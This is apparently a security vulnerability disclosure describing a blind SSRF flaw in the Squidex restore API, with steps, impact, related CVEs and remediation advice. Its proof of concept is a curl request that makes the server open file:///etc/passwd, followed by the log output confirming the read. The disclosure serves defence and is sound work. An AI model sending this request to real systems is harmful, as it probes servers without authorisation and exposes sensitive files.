Security Vulnerability Report: Blind SSRF in Restore API

Affected Component

Squidex API: Backup / Restore Engine (Endpoint: /api/apps/restore)

Summary

The Squidex Restore API is vulnerable to Blind Server-Side Request Forgery (SSRF). The application fails to validate the URI scheme of the user-supplied Url parameter, allowing the use of the file:// protocol. This allows an authenticated administrator to force the backend server to interact with the local filesystem, which can lead to Local File Interaction (LFI) and potential disclosure of sensitive system information through side-channel analysis of internal logs.

Details

1. Configuration: An attacker creates a "Restore" job using a local filesystem URI (e.g., file:///etc/passwd).
2. Trigger: The attacker submits the POST request to the restore endpoint.
3. Execution: The backend accepts the request and passes the URL to a background worker (RestoreJob).
4. Observation: While the API response is a generic 204 No Content, the internal server logs reveal that the server successfully opened and read the file before failing because the content was not a valid ZIP archive.

Proof of Concept (PoC)

1. Malicious Request

Run the following curl command (replace <TOKEN> with a valid admin token):

curl -X POST http://localhost/api/apps/restore/ \
  -H 'Authorization: Bearer <TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "Url": "file:///etc/passwd",
    "Name": "exploit-poc"
  }' -v 

2. Validation via Logs

After execution, the following error in the Squidex container logs confirms the internal file interaction:

{
  "logLevel": "Error",
  "message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
  "exception": {
    "type": "System.IO.InvalidDataException",
    "message": "End of Central Directory record could not be found.",
    "stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
  }
} 

Note: The InvalidDataException confirms that the server successfully accessed and read the bytes of the file.

Impact

This vulnerability allows authenticated attackers to:

1.Filesystem Reconnaissance: Confirm the presence of sensitive files (e.g., appsettings.json, secrets).

2.Information Disclosure: In multi-tenant environments, this could potentially be used to access other users' backup files.

Precedent & Related CVEs

-CVE-2024-52588: SSRF in CMS platforms allowing internal scanning via localhost/local files.

-CVE-2023-27156: Improper import URL validation leading to SSRF.

Remediation Recommendations

1.Protocol Whitelisting: Strictly allow only http:// and https:// schemes.

2.Input Validation: Implement a check to reject any URI using the file:// scheme before processing.

3.Safe IO Handling: Ensure that the underlying handlers are restricted from local filesystem resolution for user-provided inputs.